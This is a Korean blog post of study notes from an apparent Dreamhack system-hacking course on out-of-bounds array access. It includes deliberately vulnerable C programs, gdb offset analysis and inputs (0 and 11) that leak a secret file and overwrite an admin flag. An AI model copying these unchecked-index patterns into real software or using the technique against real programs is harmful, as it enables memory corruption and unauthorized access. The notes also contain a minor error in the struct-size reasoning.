[Dreamhack] Memory Corruption: Out of Bounds

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
26/49

배열의 속성

배열의 크기 : 요소의 개수와 자료형의 크기를 곱한 것

배열의 참조 : 배열의 주소, 인덱스, 자료형의 크기를 이용하여 계산



Out of Bounds

배열 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어났을 때 발생합니다.

사용자가 인덱스 값을 임의로 설정하여 특정 오프셋에 있는 메모리 값을 참조하는 것을 말합니다.



Proof-of-Concept

// Name: oob.c
// Compile: gcc -o oob oob.c

#include <stdio.h>

int main() {
  int arr[10];
  
  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);
  
  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);
  
  return 0;
}
In Bound:
arr: 0x7ffff87d06b0
arr[0]: 0x7ffff87d06b0

Out of Bounds:
arr[-1]: 0x7ffff87d06ac
arr[100]: 0x7ffff87d0840

arr[-1]을 보면 인덱스 범위를 벗어났는 데도 해당 위치의 값을 잘 출력해줍니다.



임의 주소 읽기

// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char secret[256];
int read_secret() {
  FILE *fp;
  if ((fp = fopen("secret.txt", "r")) == NULL) {
    fprintf(stderr, "`secret.exe` does not exist");
    return -1;
  }
  fgets(secret, sizeof(secret), fp);
  fclose(fp);
  return 0;
}
int main() {
  char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
                  "COMMUNITY"};
  char *secret_code = secret;
  int idx;
  // Read the secret file
  if (read_secret() != 0) {
    exit(-1);
  }
  // Exploit OOB to print the secret
  puts("What do you want to read?");
  for (int i = 0; i < 4; i++) {
    printf("%d. %s\n", i + 1, docs[i]);
  }
  printf("> ");
  scanf("%d", &idx);
  if (idx > 4) {
    printf("Detect out-of-bounds");
    exit(-1);
  }
  puts(docs[idx - 1]);
  return 0;
}

대충 secret.txt 파일을 만들어주고

$ vi secret.txt

gdb로 secret_code와 docs 사이의 offset 차이를 봐보면

   0x0000000000000999 <+23>:    lea    rax,[rip+0x1bd]        # 0xb5d
   0x00000000000009a0 <+30>:    mov    QWORD PTR [rbp-0x30],rax
   0x00000000000009a4 <+34>:    lea    rax,[rip+0x1c6]        # 0xb71
   0x00000000000009ab <+41>:    mov    QWORD PTR [rbp-0x28],rax
   0x00000000000009af <+45>:    lea    rax,[rip+0x1c7]        # 0xb7d
   0x00000000000009b6 <+52>:    mov    QWORD PTR [rbp-0x20],rax
   0x00000000000009ba <+56>:    lea    rax,[rip+0x1ca]        # 0xb8b
   0x00000000000009c1 <+63>:    mov    QWORD PTR [rbp-0x18],rax
   0x00000000000009c5 <+67>:    lea    rax,[rip+0x200674]        # 0x201040 <secret>
   0x00000000000009cc <+74>:    mov    QWORD PTR [rbp-0x38],rax

0x8 차이 납니다.


입력받은 값에 -1 한 값을 인덱스로 배열에 접근하고 있으니 입력으로 0을 한번 넣어보면

gdb-peda$ r
Starting program: /home/ubuntu/wargame/oob_read
What do you want to read?
1. COMPANY INFORMATION
2. MEMBER LIST
3. MEMBER SALARY
4. COMMUNITY
> 0
Hello World~

secret_code 값이 출력되었습니다.



임의 주소 쓰기

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;
  
  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);
  
  stu[idx - 1].attending = 1;
  
  if (isAdmin) printf("Access granted.\n");
  return 0;
}

구조체의 크기는 가장 큰 타입의 크기 * 변수 개수 이기 때문에 Student 구조체의 크기는 8 * 4 해서 24 Byte입니다.


gdb-peda$ i var isAdmin
All variables matching regular expression "isAdmin":

Non-debugging symbols:
0x0000000008201130  isAdmin
gdb-peda$ i var stu
All variables matching regular expression "stu":

Non-debugging symbols:
0x0000000008201040  stu
gdb-peda$ print 0x8201130-8201040
$1 = 0x7a2ede0
gdb-peda$ print 0x8201130-0x8201040
$2 = 0xf0

isAdmin과 stu 사이의 거리를 보면 240 Byte 만큼 차이 납니다.

Student 구조체 크기가 24 Byte이기 때문에 10번째 인덱스를 참조하면 isAdmin 값을 조작할 수 있습니다.


해보면

gdb-peda$ r
Starting program: /home/ubuntu/wargame/oob_write
Who is present?
(1-10)> 11
Access granted.
[Inferior 1 (process 214) exited normally]

isAdmin 값이 조작되어 Access granted. 가 출력되었습니다.



Memory Corruption: Out of Bounds

0개의 댓글